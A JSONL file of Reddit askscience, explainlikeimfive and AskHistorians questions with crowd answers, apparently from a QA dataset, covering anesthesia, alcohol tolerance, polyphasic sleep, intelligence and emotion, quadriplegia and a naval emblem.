{"q_id": "bbe7it", "title": "Do men get erections while under anesthesia during surgery like they do naturally when they sleep?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/bbe7it/do_men_get_erections_while_under_anesthesia/", "answers": {"a_id": ["ekj5wi6"], "score": [31], "text": ["I've yet to see it happen, but I hear it happens. What's more, common anesthesia (most notably propofol) can give you very relaxed and sexually stimulating dreams. Sometimes, these mix in with actual memories of the patients  so there are stories of very sexy nurses doing kinky stuff to patients after (or during) the procedure. Because of lawsuits, this has led to strict guidelines on the number of people watching over a patient in the wakeup room.  Also, they are recommended to look at our actual nurses who most assuredly do not look that way and are probably all too tired (and ethical) to do get dirty with patients. (Source: Paramedic in Germany, [_URL_0_](_URL_0_), )"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://onlinelibrary.wiley.com/doi/full/10.1046/j.1365-2044.2003.03147.x"]]}
{"q_id": "9u37bg", "title": "if you drink a lot of alcohol your liver gets damaged but you also become more tolerant and get affected less. how can both be true? does liver health have anything to do with alcohol tolerance?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9u37bg/eli5_if_you_drink_a_lot_of_alcohol_your_liver/", "answers": {"a_id": ["e91319h", "e9135go", "e91ac83"], "score": [6, 3, 5], "text": ["Your liver can become more tolerant for metabilizing alcohol, but it doesn\u2019t change its effects on it. Theres a difference between its efficiency to breakdown alcohol and the time it takes. It will take less time to metabilize alcohol and break it down to its sugars, but it also damages your liver in the meantime. Maybe someone can elaborate.", "You build up a tolerance to alcohol, in the early stages of alcoholism, but when you get to the late stages where your liver is damaged your tolerance goes down due to the liver damage. Early on your liver gets better at processing alcohol, and can even become enlarged. The liver can recover from a certain amount of abuse, but there comes a point where the damage is irreversible. I beat mine up pretty hard for years but it got better after six months on the wagon. Not trying to go back to the bad old days, but a couple of beers a couple of times a week isn't dangerous.", "Ok so the liver processes alcohol to get rid of it, this happens in two steps:\n\n\\- Alcohol is turned into acetaldehyde by an enzyme called Alcohol DeHydrogenase (ADH). \n\n\\- Acetaldehyde is turned into acetic acid by another enzyme.\n\nNow, there are two kinds of tolerance. The first comes from body size: you need more alcohol to get the same concentration of blood in a tall man with 6 liters of blood than a  small woman with 4 liters.\n\nThe second comes from how much ADH you have. The more of it, the faster you turn alcohol into acetaldehyde. Over time, if you drink a lot regularly, your liver produces more ADH so your tolerance rises.\n\nThe cause of liver damage is more complex, it comes from acetic acid. This compound is actually harmless and very useful normally: you constantly produce a lot of it, since sugar, starch, fat and some proteins all get turned into acetic acid (linked to another molecule into a compound called Acetyl-CoA), which then is burnt to get energy or used to build fats.\n\nThe issue is that you can't burn acetyl-CoA if you don't need energy in that moment and it can't pile up, so your liver has no other choice that turning it into fat. This is why alcohol makes you fat.\n\nLiver damage happens because normally, the various processes are finely tuned. You eat a lot, so your liver starts storing sugars,  which are then gradually turned into fat at an optimal rate, unless you binge eat for a lot of time straight. When you drink, the process that turns alcohol into acetyl-CoA isn't in tune with the rest, so you basically shove lot of Acetil-CoA in your liver which then has to work at full speed to turn it into fats and move it to fat tissue where it is stored. If you drink a lot, your liver produces more fat than it can move to your fat tissues and fat piles up in it, causing damage and killing some cells.\n\nIf you don't drink much or drink regularly, this isn't an issue: your liver simply replaces the dead cells. If you drink enough however, more cells die than you can replace it. At first, this isn't an issue: the other cells simply work harder, if their number keeps reducing however, they are too overloaded and the liver structur gets compromised, so your tolerance actually decreases."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "408qlo", "title": "given all the technological information we have in the world, why does youtube just tell me \"an error\" occurred?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/408qlo/eli5_given_all_the_technological_information_we/", "answers": {"a_id": ["cysak4l", "cysalwc"], "score": [7, 3], "text": ["YouTube knows exactly what went wrong. They just have no interest in sharing that with you.", "Because what specific error occurred and why is not useful information to the end user if there is nothing they can do about it. 99.9% of users would not understand a detailed description of the error anyway."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1njfe0", "title": "How valid are the claims in favor of alternative sleep cycles such as Uberman or Dymaxion?", "selftext": "I've been reading about polyphasic sleep cycles like the Uberman cycle in which you sleep for 20-30 minutes once every 4 hours, or the Dymaxion, in which you sleep for 30 minutes once every 6 hours. These sleep cycles drastically reduce the amount you're sleeping, but (supposedly) maintain, or even increase, the amount of actual rest you're getting by sending you into REM sleep as quickly as possible. I am very interested and would like to try this, but I don't quite know enough about it yet. Does anyone have more info on this subject?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1njfe0/how_valid_are_the_claims_in_favor_of_alternative/", "answers": {"a_id": ["ccj4lpt"], "score": [37], "text": ["There is no scientific basis for these schedules. They are simply forms of chronic sleep restriction, which lead to the accumulation of cognitive deficits. I discussed chronic sleep restriction and its effects in detail [previously](_URL_1_). \n\nChronic sleep restriction -- whether achieved by polyphasic sleep schedules or simply by shortening nighttime sleep -- results in a REM sleep deficit. This does indeed lead to earlier entry to REM sleep, but this is not a sign of your brain adapting to a mode of more efficient sleep. Rather, it is a physiological response to being in constant REM sleep deficit and the brain attempting to make up that deficit. The idea that REM sleep is the most important stage of sleep and that the rest of sleep is optional or less efficient has **no scientific foundation**. \n\nREM sleep and NREM sleep are both important and serve complementary roles. The dissipation of delta waves during NREM sleep is actually the most reliable physiological marker for the restorative value of sleep. Consistently skimping on NREM sleep leads to increased homeostatic sleep pressure and cognitive impairment, even if there is still an approximately normal duration of REM sleep.\n\nAs humans, we have evolved to spend ~80% of our adult sleep in NREM sleep and to consistently cycle back and forth between NREM and REM sleep. We know that NREM sleep has important functions. We know that disrupting sleep cycles lowers the restorative value of sleep. We know that chronic sleep restriction has adverse effects on both cognition and health. This is because all of our physiological systems, from the brain, to the heart, to the pancreas, to the bones, have evolved to function optimally with a particular sleep:wake ratio. There is no evidence to support the idea that you can reduce your daily sleep duration without suffering some consequences.\n\nOne of the worst things about polyphasic sleep schedules is that they tend to ignore the circadian rhythm. There are certain times of day when the circadian rhythm strongly promotes sleep (nighttime and the mid-afternoon). At other times, the circadian rhythm strongly promotes wake. Polyphasic sleep schedules typically place wake periods at times when the circadian rhythm is strongly promoting sleep, and naps at times when the circadian rhythm is strongly promoting wake. This is a terribly inefficient way of doing things. With a high enough sleep debt and a high enough level of impairment, it is nevertheless possible to fall asleep at any time of day. [People who are chronically sleep restricted have a very poor subjective gauge of how well they are objectively functioning](_URL_0_).\n\nProponents of polyphasic sleep often appeal to the fact that babies sleep polyphasically or that other mammalian species sleep polyphasically. Well, we are not babies or other mammalian species. Dolphins sleep with one half of their brain at a time, yet nobody suggests that we should naturally do that. It is normal for sleep patterns in most mammals to become more consolidated with development. A human newborn has an approximately 45 minute NREM/REM sleep cycle, whereas an adult has an approximately 90 minute NREM/REM sleep cycle. In other mammalian species, these cycles may last 40 minutes, 20 minutes or 5 minutes. There are inherent differences in both the circadian and homeostatic processes between species and across development. The move towards a more consolidated sleep pattern is not some societal choice; it is driven by changes in intrinsic physiology.\n\nNow, it is true that most mammals sleep polyphasically. But if you want to make an evolutionary argument, you should properly consider phylogeny. If you look at our closest relatives, the apes, we are all diurnal (day-active) and we all sleep in a relatively consolidated fashion.\n\nUnfortunately, there is a tremendous amount of misinformation regarding polyphasic sleep online. Please understand that it is simply pseudoscience."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pubmed/12683469", "http://www.reddit.com/r/askscience/comments/1kb8sd/can_a_person_ever_really_catch_up_on_sleep/"]]}
{"q_id": "6axjz3", "title": "why are higher levels of intelligence in humans associated with lack of emotion?", "selftext": "Edit: A lot of people started getting angry about the \"unsubstantiated claims\" in this question - if there is no correlative/causal relationship between the two, i am sorry for my premise is wrong. The reason why this question was asked was the fact that in various aspects of our culture highly intelligent people are portrayed as emotionless or in a way which implies that they do not know how to deal with emotion. Again, i am not \"claiming\" anything. As this is a very difficult question with numerous factors at play, i thank everyone for their answers - whether they are right or wrong.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6axjz3/eli5_why_are_higher_levels_of_intelligence_in/", "answers": {"a_id": ["dhi68qi", "dhi6s51", "dhi6s9o", "dhi7lfc", "dhia9tw", "dhiapzz", "dhibro5", "dhibsx5", "dhibtp2", "dhie6wz", "dhiehpy", "dhieug1", "dhif894", "dhig98v", "dhih0st", "dhii7zf", "dhiifd1", "dhijdt7", "dhik4sj", "dhil0aq", "dhil7uk", "dhilgot", "dhiloho", "dhiqevn", "dhiqpj3", "dhit0f6", "dhivbmx", "dhiw0n6", "dhiwjju", "dhizl1z", "dhizwb0", "dhj7coj", "dhj8isc", "dhj9mse"], "score": [16, 3237, 3, 164, 35, 206, 2, 14, 6, 2, 44, 9, 58, 2, 24, 7, 2, 37, 2, 60, 2, 2, 2, 2, 2, 948, 2, 12, 3, 2, 5, 4, 2, 2], "text": ["Your premise is not necessarily correct. Intelligence can be associated with Asperger syndrome, which is characterised by problems *showing* and *handling* emotions, but that's not the same as a lack of emotion. \n\nProbably the best example in popular culture today is the character of Sheldon Cooper in *The Big Bang Theory*. Over the series it's become clear that he doesn't lack emotions, but has been suppressing them because he wasn't able to handle them, and has benefited from his interactions with the people that came in to his life, at first Penny then Amy. ", "This perception likely derives from the fact that when you consider a person 'emotional', it's almost certainly because they have poor impulse control.\n\nIf someone is constantly flying off the handle, weeping over trivial slights, etc., then they're probably not able to maintain the kind of focus necessary to educate themselves and make decent life decisions.\n\nIt's not that intelligent people don't have emotions.  It's just that they don't let those emotions interfere with their lives in a negative way.\n\nNote also that the opposite - true lack of emotions - can be a significant hindrance as well.  People who lack certain emotional responses can be socially isolated because the presumption 'everyone feels like X' simply don't apply to them - and this makes their actions seem curious or even insulting to others.  Emotions also drive us, so a lack of certain emotions can steal motivation.  You may hate the anxiety you feel, but you've probably never considered how much it drives you to succeed.", "Some people with superior intelligence are bullied as children, and learn to repress emotion because it only gives their tormentors more ammunition. ", "Probably due to famous examples in fiction (such as Sherlock Holmes).\n\n A good way to show someone is not ordinary is to portray them as not having ordinary responses - and lack of emotion is an easy one to portray.\n\nMost people don't know any very highly intelligent people, so all they have to go on is the fictional portrayals.", "Super simple answer, media portrayals.\n\nSlightly more in-depth answer; can parts of your brain are responsible for doing different things. Emotions are Primal and often occur without conscious thought. More intelligent people tend to have better tools to suppress, process, or handle their emotions without showing them or letting them lose control.", "If I had to guess, it's because most of the displays of intelligence we see in our society are in professional, academic, or other formal settings. These situations tend to be fairly sterile in terms of emotion. For example, we all grew up in contact with teachers during our schooling. This might be one of the first situations we run across in our lives where we have a non-family interaction with someone who clearly has more knowledge and intelligence. A good teacher isn't going to be emotional most of the time; it just isn't part of the job. Emotions aren't part of the job for other interactions we might have with people who hold specialized knowledge. It's out of character to have a visit with an emotional doctor, or a consultation with an emotional lawyer, or get technical support from an emotional specialist, and so forth. Even a therapist - someone that works with emotions all day - isn't supposed to become emotional during his or her work. To do so would be considered unprofessional.\n\nEmotions are only truly appropriate when you're with friends and family, and here intelligence really isn't so important - at least in my experience. Here, someone being very smart is something akin to someone being very strong. It's a characteristic, something to consider about a person when thinking about him or her as a whole. It's not their most important trait, just a quirk they have. The displays of intelligence you might see in these relationships aren't really clear to the observers because relationships are so subjective.\n\nAnd so, maybe intelligence is associated with lack of emotion because roles where intelligence are needed also restrict emotions and relationships where emotions are free don't have much need for intelligence.", "I would consider myself fairly smart and I had a tough childhood (which turned better). I had an early interest in philosophy, mainly stoicism. I've sometimes been called out for being a psychopath even though I seriously doubt I am. This didn't happen many times, but a handful of times during my life.  \n  \nTheir reasoning: Because I didn't have emotional reaction to stuff that \"should cause one\". Just because I had a very strong mental fortitude people thought I was a psycho. Which is absurd.  \n\n  \n", "On a less scientific level from a psychological perspective more intelligent people can see the negatives of life more easily than the less intelligent people. When you constantly have to deal with the stupidity around you, you get tired of dealing with it and become emotionally distant. It is not a stretch to say that the higher your intelligence the higher chance of being stoic.", "I think its harder for higher intelligence people to get in the moment. Their brains are always pondering, looking around, listening in on other people, wondering what happens if i do or say this. And \"higher intelligence\" people are usually going to be the curious type that read/think/listen well. After seeing things so many times or thinking about them, when it happens again its not as surprising or as funny as to some people. I think some smarter people come to expect the things that happen around them or even predict beforehand. Or like if something surprising happens, many people will just focus on their surprise, while others will ask themselves how or why", "They are different kinds of intelligence.   Factual intelligence or book smart is usually how we determine who is smart. Emotional intelligence and social intelligence are also very important society it's just society does not give them credit. \n\nPeople are good at certain things and depending where you spend your time it will determine your types of intelligence. Many people who are innately factually intelligent end up focusing their time on developing that intelligence. Making the other ones lack more. \n\nThey can all be taught but again it's where you spend your time and your level of motivation to develop that intelligence. Because factual intelligence is seen as smart today it's easier to get motivated to develop that over social or emotional. \n\nI know there are more intelligences I just can't remember them. This is how intelligence was explained to me in university. ", "Lots of bullshit in this thread. People with a high IQ do not necessarily have better emotional control. Sounds like people are watching too much Sherlock (corrected from House).", "The Enlightenment. During the Enlightenment period, the thinkers of the day viewed emotions in the realm of irrationality. They felt to engage in rational thought, one must divorce themselves from the wild passions of the heart so we could look at the world objectively. The sentiment has stuck with us.\n\nPersonally, I think that's bunk. There is a rationality to emotions that we often neglect. Inappropriate emotional responses strike us as irrational and demand explanation. Why is the groom angry at his wedding? Why is she laughing at the news her Grandmother died? Our emotions are social cues that inform us, and others around us, of what's going on in the social environment, and when the emotions don't match that environment, it's a signal that something's off. ", "Interesting question as I believe this is the exact opposite. And one should not mistake the fact of being able to control how emotions are shown and the fact of feeling those emotions inside.\n\nWorking with children with high IQ (to very high IQ) seems to show that they are overloaded with emotions. \nSee for instance [this post](_URL_0_) on gifted children. So how comes that intelligents children have high level of emotions and lost them when they becomes adults? \n\nWhen growing up, they learn about controlling, detecting, using emotions. Which may seems as a lack of emotions. But the emotions are not lost.\n\nTo take a counter example, many artist (Leonardo da Vinci, Picasso for\nInstance) are recognized as being very intelligents and able to express emotions in an incredible levels in their paintings. Many extremely intelligent songwriters are also able to express emotions in the song they write touching millions of people. Poet like Rimbaud are known to be extremely clever and has produced poetry with emotions that have marked many generations. \n", "Some of the smartest people in the world are idiot savants. They're not known for having good social skills. So people assume intelligence to be inversely correlated with social intelligence.\n\nIt doesn't help that there have been smart people in history who've had bad social skills. Isaac Newton was one of them. Apparently he was insufferable to be around. ", "We tend to associate higher intelligence with better education and jobs. \n\nIn professions like medicine and law, students are told (on numerous occasions) to separate their emotions from their work. \nEmotions cloud judgment.\n\nSo, I wouldn't say that intelligent people are less emotional - they are just more *clinical* and have been trained to separate emotions from their work. ", "Your question is grounded in the difference between physical IQ and actionable intelligence. \n\nThink of it like this:  you have a really fast car with an extraordonary engine, hairpin steering etc. I have a regular old car with no fancy frills, but ive been practicing driving my whole life. Put us on a straight away, you win, put us in an obstacle course, i win.\n\nThis is similar to the situation which confronts the question of intelligence. There are two theatres of intelligence, the intelligence of brain itself, and the skillset of person behind the wheel. \n\nA person who drives the brain very well has become familiar with most of its pitfalls through intentional practice and experiential discipline. This person might appear emotionless to others, but the reality is that this person probably has the exact same level of emotionality as an average person. He has simply learned to process them in a way that does not interfere with mental performance. This is the cool unruffled exterior to which i believe youre referring.\n\nHowever, in terms of cultural representation, we are likely dealing with two factors: sexism and antiintellectualism. \n\nHistorically, women have been portrayed as emotional juveniles living at the whims of their hormones, while men are portrayed as rational and therefore more intelligent. This cultural artifact has its roots in the suppression of womens suffrage. And its one root of that cultural impression which confronts us today.\n\n The second is an effort to distance the intelligencia from the common person with artistic representations of intelligent people as cold, alien, and untrustworthy contrasted with the warm, simple, and friendly nature of rural communities. This situation is largely the work of divisive politicians attempting to make scientists and academics appear threatening to voters.", "My theory: there is a correlation between high IQ and depression disorders.\n\nIt could be that a large number of the people with higher IQs also take anti-depression meds or other mood stabilizers and as such appear to be more even-keel or even emotionless.\n\nJust a thought.", "Going the route of the super logical, emotions can hinder your ability to maintain objectivity and focus when dealing with things like the survival of the human species. \nTake Matt Damon's character in Interstellar. He and Michael Caine told a horrible lie to ensure that humanity would go on. Not as they promised it would, but as they saw it could given the scenario. They put aside the emotion and made the terrible decision because it had to be done. If someone who was highly emotional had to make the same decision, they might pine over an idea that would never work, or just simply do nothing. \nI think that as people grow more intelligent they begin to see life as not the miracle that others portray it as. It's math, statistics, and probability. Once you come to terms with that, it makes hard decisions not very hard anymore. You no longer see individual lives. You see numbers in a data set. You become more logical about life expectancy as well. Disease, war, environmental decay, these are all just more numbers to add to the data set. \nOn a personal level, I'm a major proponent of assisted suicide at any point past the age of 18. Life is a decision the one receiving it was not involved in. Once you reach the legal age to where you are the only one responsible for your well-being, you should have the right to end it in a safe manner. It's heart breaking to me that we have this crusade to keep people alive in such painful states of being and then dose them up on drugs to be able to tolerate it.  I'm intelligent enough to put aside my wants and needs for that person to exist. Others would have a hard time rationalizing that idea. ", "I disagree with the notion that concealing, or repressing your emotions is in any way a \"smart\" thing to do. I understand the point; neutrality and focus. I agree to a point, you know just staying calm and present is a very powerful tool. But saying that emotions are only \"acceptable\" are around friends and family is ludicrous. We don't all need to be so separated and distant from each other. ", "Why not bring science into this question? (science has a lot of answers you know) \n\nThe ability to regulate, manage, fake, and display emotions appropriate for a situation is known scientifically as [Emotional Intelligence (EI)]( _URL_0_).\n\nNow, you're positing that there is a relationship between emotional intelligence and IQ, and so far, scientific studies have found [only low correlation](_URL_1_).\n\nSo it means that for now, emotional intelligence and IQ are unrelated, it doesn't mean having one leads to an inverse of the other or vice versa. ", "Would you kill 3 people to save 17? Emotionally, you would say, I don't want to kill anyone. This, you end up letting 17 people die. You're free from \"guilt\" by not acting but your inaction had consequences.\n\nA more intelligent answer would be to kill a fee to save more lives. Yes you have to get your hands dirty and the mere thought of saying that bothers people. You're considered a monster. Logically though it is the better decision.\n\nNow apply that to finances, love, food, whatever. If you tell someone hey, don't workout all day every day they think you're a dick. In reality they get stronger through resting. \n\nIf you tell your boyfriend he needs to spend time around others, it doesn't mean you hate him, space is good in a relationship so is the perspective you get being around others. \n\nJust look at Trump. He makes emotionally stunted decisions every day. He finally understands concepts once they are explained to him but he needs someone to do so.", "It may be to do with how and why humans make friendships. It's been claimed that friendships are by in large transactional in nature - i.e. you scratch my back I'll scratch yours. Or if you play games, take drugs, drink, eat certain foods, play sports, have particular interests, you will make friendships out of your desire to participate in or improve at these activities\n\nIt's then claimed that the more intelligent you are the less you rely on others to achieve whatever, therefore more intelligent people have fewer friends and are more aloof. Having fewer friends and fewer social contacts will naturally reduce your exposure to emotional context. The less you practice something in general the less good you are at it. So intelligent people as a stereotype could be described as less emotional and lesser able to deal or process emotions in a healthy or \"normal\" way. Being intelligent and knowing this could cause some intelligent people to actively try and avoid social contact", "I think it's more accurate to say that intelligent people have better control of their emotions.", "If you're referring to portrayals of \"genius\" characters in popular movies / series, I think that's more because creators feel the need to balance intelligence with some kind of character flaw. That is why Sherlock Holmes is an insensitive prick in all modern adaptations (hint: he is nothing of the sort in the original books), and the tech guy on any superhero team has to be awkward bordering on autism.\n\nIn a way it avoids turning the character into a mary sue, but I think it's also to not make the \"ordinary\" audience that such shows target feel inferior. \"I may not be a genius or even that good in college, but at least my social life is normal\". Personally the trope annoys the hell out of me, though. I know a few incredibly intelligent people at my university, and surprise - they're just the same as the average joe in other aspects of their life. Some make music. Some excercise. Some are awkward, but most are not, in fact.", "It's called emotional intelligence. Only smart people have that. Knowing when and how to act is important  to an intelligent person. ", "Emotion is nature's decision-making tool.  We try to do things that make us feel positive emotions and we avoid things that make us feel negative emotions.  That's not even just a human thing; animals have emotions and use them to make decisions too!  The problem is that emotion isn't necessarily a *good* way to make decisions.  If you're smart, you can think of a better way.  For example, I don't feel like waking up early Monday morning and jumping in a metal container with dozens of other tightly-packed people in order to go sit in a chair somewhere downtown and do things other people want me to do, but as an intelligent organism, I know how to plan for the future: I know that if I stop doing this, I will no longer be able to live comfortably, eat what I want, etc.  While I'm still ultimately guided by emotion -- I know what will make me feel positive in the future -- I'm doing things that make me feel less positive *now*.  Less intelligent organisms don't have that particular capability for reasoning about their actions, but we humans do.\n\nThe thing is, the more intelligent we are, the more we can reason about our actions, and therefore, the less we need to rely on simple emotion to make our choices.  If we're intelligent, we understand consequences better, too.  For example, a 3-year-old will suffer negative emotion when his ice cream falls to the floor and will begin to cry.  A more intelligent adult, on the other hand, will only be mildly annoyed at this, because he understands that there will be more ice cream in the future, that he's fortunate to have been able to get ice cream in the first place, that the ice cream just doesn't matter that much compared to other aspects of his life like the fact that he has a loving family and steady income, etc.  (How do you make a 3-year-old cry?  Throw his ice cream on the ground.  How do you make an adult cry?  Kill his family.  Don't try this at home!)  Intelligence gives us a larger set of concerns to worry about, and this makes emotion less important.\n\nIntelligent people still *have* emotion.  They just have enough perspective to be affected by it less.\n\nThat said, there are some people who are just not good at *understanding* emotion but are often good at certain other things: people with Asperger's.  There are a lot of factors here.  Being not so great at understanding emotion in others means that it's tougher to relate to people, so instead of relating to people, a person with Asperger's might spend time alone.  And what does one do alone that's actually worthwhile?  Learning, of course!  A person with Asperger's may notice that it feels bad to be rejected by peers but it feels good to learn new things in whatever subject, so he'll use his emotions -- which he *feels*, even if maybe he can't tell what other people are feeling -- and do the thing that gives him pleasure: learning.  As a result, everyone knows that one dude from grade school who's very smart but has no friends, and the stereotype spreads.  By the way, you don't need to have Asperger's to have trouble relating with peers; intelligent people often have trouble as well simply because their interests are different.  An especially intelligent person may be excited by learning new things in math, for example, while a more typical person may just not care about that.  That can make it hard to interact.\n\nFinally, the idea that intelligent people are bad at emotional things also has roots in less intelligent people wanting to feel better about themselves by just making stuff up that sounds like it could be true.  \"I may not be as smart as Alice and Bob over there, but I'm obviously much better at emotion than they are, so SUCK IT, Alice and Bob!  YOU SUCK at emotion!  HA HA HA!  I'm better than you at something!  HA HA HA!\"  I'm only kind of exaggerating.  If you've been to high school, you probably know people who actually think like this, instinctively trying to find flaws in people who they see as \"better\" than them somehow, whether in terms of intelligence, athletic skill, appearance, social status, whatever.  (Hopefully they'll have grown out of that kind of pettiness by the time they're adults.)\n\nIn any case, very few people -- sociopaths, specifically -- actually have no emotion.  More intelligent people can be just as emotional as less intelligent people; they just don't make decisions on that basis as much because they have better ways to make those decisions!", "Yeah, maybe they just hyper analyze everything which makes them inhibited all the time. Reminds me of the whole dumb people are more confident meme in a roundabout sort of way...", "Intelligent people are calm not because they can't deal with emotion, but because they can. They are more likely to think rationally which means they don't jump to conclusions or use faulty logic that would skew their perception of reality. So they are less likely to overreact and go into fight or flight mode. They also don't resort to fear and intimidation tactics of bullies because they see more ways than one to solve problems or interpret a situation. Their egos are not as easily threatened because their intelligence is a great protection in life and therefore a confidence builder. They tend to have a think before reacting too quickly to things.", "I dont consider myself intelligent by any stretch of the word, but I've been told by many people that I am, so take this as you will. \n\nBeing intelligent, in my opinion, has its drawbacks. Things that go hand in hand with being smart (a logical ordered mind, forward thinking, a higher ability to comprehend, faster comprehension etc) also means that your THERE when everyone else isnt.  You know, you've anticipated,  you are able to see all aspects, and waiting for other people to catch up is fucking draining. Your right alot, so it starts to be hard to take other peoples opinion seriously, because not only do you know they are wrong, but can likely prove it. You start to feel disconnected to those around you.\n\nWhat they feel doesnt make sense to you anymore, because logically they shouldnt feel that way right now. You set aside your own emotions easier, and more often, because they get in the way of looking at a problem objectively.  \n\nYou forget to take into account that other people dont see what you see, and are confused as to why they are annoyed, and in turn you get annoyed. Annoyance quickly becomes your default state, followed almost immediantly by sarcasm. You feel more disconnected from the joe average person, and often you just keep to yourself.\n\nI guess it all boils down to being jealous. Ignorance is bliss.", "As someone who has been accused of both. I've always had the feeling that I only distance myself more from problems I am not the solution to. And because of this way of dealing I'm less understanding of others. I've become better at this by reaching adulthood but I was completely incapable of predicting how people would react to my behaviour.  I could read people, but I couldn't predict them so to say. Mainly because I was different cause of my abnormal intelligence and early youth hardships. Interpreting people was as hard for me as interpreting another species. High intelligence feels like being of a different species sometimes.  I imagine you thinking of the big bang theory Sheldon cooper stereotype. It is not void of emotions nor empathy it's just not understanding the workings of simpler minded people. ", "I think someone who thinks a lot tends to look at problems or life conflicts from multiple angles. I wouldn't say im really smart but i am an artist and tend to feel like i have this problem. Most things don't really have an initial emotional effect on me. The night i got a call my grandfather died i was like \"ok \" but really didn't hit me until i was carrying his casket out and it hit me hard.  But usually during relationship fights with my wife i often will be standing there while shes pouring her heart out crying and im thinking in my own head if somethings wrong with me because im displaying ice cold emotions even though i feel as bad over the situation as well. \nMy father actually just said last night how the day he told my brother and i about them getting a divorce and how my brother was going nuts and i wasn't crying at 14 just sat there.  but i remember how i was kinda just sitting there observing how my family was acting and thinking about how life will be changing. Because of that though i swear i can draw a picture of how clear that memory is in my head my mom on the couch my dad hugging my crying brother in the kitchen and me soaking it all in sitting on the fireplace. ", "More intelligent people don't lack emotions. This is a misnomer.\n\nRather the ability to better control ones emotions (moderate them, reduce their edge where necessary) AND to better consider the weight of latent emotions (i.e. emotional considerations that are real but not immediately active in the current situation) in decision making allows one to make more intelligent decisions that have on average, results that are more congruent with the overall body of emotional desires then merely with the emotional desire that is currently active.\n\nEmotions are ultimately at the heart of all decisions. The higher level cognitive functions - rationality, reason, logic... they're only servants to emotional dictates. The seemingly logical action to work hard and invest is merely a willingness to differ the current emotional state for a future intended emotional state in which those benefits pay off. But those things are only seen as beneficial through an emotional lens.\n\nAs for emotions? They're merely a quick decision making link between those high level cognitive functions are low level homeostatic maintenance motivations. How to get air, how to get food, how to get water, how to get more of this chemical over another, how to seek warmth/comfort/shelter, how to receive pleasure, etc.", "I think it's just forms of autism.  It runs in my family.  My dad skipped 3 grades, got kicked out of high school, became a \"self taught\" engineer.  Invented some stuff and made millions.  My brother was top of his class, is now a high profile lawyer.  I went into entertainment and sold 3 tv shows and a feature film... and we are all totally emotionless on the autism scale.  We can't relate to people at all.  I honestly can't understand people that act emotionally.  I only understand logic.", "It's not that intelligent people lack emotions, its that they don't submit control to them. They can operate from a sense of balance that leaves them in control of their focus. So when a negative emotion is available, they're focus shifts towards balance. In other words, emotional intelligence lends the ability create your own emotion. \n\nJust my two, er - five cents"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], ["http://sengifted.org/emotional-intensity-in-gifted-children/"], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Emotional_intelligence", "https://cogsci.stackexchange.com/questions/1647/is-there-a-correlation-between-eq-ei-and-iq"], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "1fgrbq", "title": "Are quadriplegics able to feel emotions such as 'the sinking feeling' or butterflies in the stomach?", "selftext": "I understand that the enteric nervous system is responsible for the feeling of butterflies and I can only assume feelings like the sinking feeling one gets when something bad happens or the soft and fuzzy feeling one gets when falling in love are created by the nervous system below the neck, if not the enteric. So I was wondering if people who have become totally paralysed from the neck down lose the ability to feel these things. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1fgrbq/are_quadriplegics_able_to_feel_emotions_such_as/", "answers": {"a_id": ["caa5veq", "caa5ylz"], "score": [104, 12], "text": ["Cranial nerve X (vagus) reaches from the brain stem to the gut all the way to the descending colon. Damage to the spinal cord would not affect the vagus.", "I'm assuming your question came from [this TIL post?](_URL_0_). I also wouldn't label those as \"emotions\", despite stemming from an emotional situation. \n\nAccording to [this wiki](_URL_1_) article on \"Butterflys\", the reaction isn't entirely well understood. Further, [this article on Tetraplegia](_URL_2_) (or \"quadriplegia\") notes there are different levels in which a person who suffers from this condition may retain neurological function at a certain level, while some may suffer further, leading to \"sensation [being] impaired in affected areas.\"\n\nIn sum, it looks like the answer would be \"it depends.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/todayilearned/comments/1fg98f/til_there_is_an_ancient_second_brain_in_the/", "http://en.wikipedia.org/wiki/Butterflies_in_the_stomach", "http://en.wikipedia.org/wiki/Tetraplegia"]]}
{"q_id": "3vsnm9", "title": "To whom belongs this emblem?", "selftext": "Found this Emblem and no one seems to know what it stands for, not even Google! :)\n\n_URL_0_\n\nI'm from Germany and with the Anchor on it, i guess it has connection with the German Navy. But i want to know it exactly.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3vsnm9/to_whom_belongs_this_emblem/", "answers": {"a_id": ["cxqd4so", "cxqmgde"], "score": [21, 4], "text": ["[This](_URL_0_) is the emblem of the Marineflieger, the air arm of the German Navy. As you can see, there are significant similarities with your image, especially in the design of the wings. Unfortunately I know very little about the Marineflieger, but it seems likely that your image is a variant of that design, or an old version no longer in use.", "Have you tried the folks over at /r/whatisthisthing by chance?"]}, "title_urls": [], "selftext_urls": ["http://imgur.com/ZmtTA0j"], "answers_urls": [["https://upload.wikimedia.org/wikipedia/commons/a/ac/Wappen_Marineflieger.svg"], []]}
